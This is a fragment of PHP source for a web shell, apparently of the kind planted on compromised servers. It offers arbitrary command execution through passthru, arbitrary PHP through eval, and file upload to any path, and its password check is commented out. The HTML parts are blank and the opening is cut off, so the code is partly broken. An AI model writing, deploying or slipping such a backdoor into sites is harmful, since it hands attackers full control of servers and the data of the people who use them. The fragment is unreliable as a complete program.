"; /* $login = "-"; $pass = "prassword"; if (!isset($_SERVER['PHP_AUTH_USER'])) { header('WWW-Authenticate: Basic realm="internal"'); header('HTTP/1.1 401 Unauthorized'); exit; } else { if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login) { echo "

401 Unauthorized

This server could not verify that you are authorized to access the URL.

"; exit; } } */ if (!empty($_GET['id'])) {$id = $_GET['id'];} elseif (!empty($_POST['id'])) {$id = $_POST['id'];} else {$id = "shell";} echo "$host: shell | upload | php eval

";

switch($id) {
case "191":
echo <<



$ 


HTML;

if (!empty($_POST['c'])){
    passthru($_POST['c'] . " 2>&1");
}
echo "$footer";
break;

case "193":
echo <<







$footer
HTML;

if (isset($_POST['ep'])) {
    eval($_POST['ep']);
}
break;

case "192":
echo <<



local:



remote:

$footer
HTML;

if (isset($_POST['path'])) {
    $uploadfile = $_POST['path']; //.$_FILES['file']['name'];
if ($_POST['path']=="") {
    $uploadfile = $_FILES['file']['name'];
}
if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
    echo "uploaded:    ".$_FILES['file']['name']. "\n";
    echo "destination: $uploadfile\n";
    echo "size:        ".$_FILES['file']['size']. "\n";

}
else {
    print "error: something went wrong, could not write ".$uploadfile.", permissions?\n\n";
    print_r($_FILES);
}
}
break;

}
?>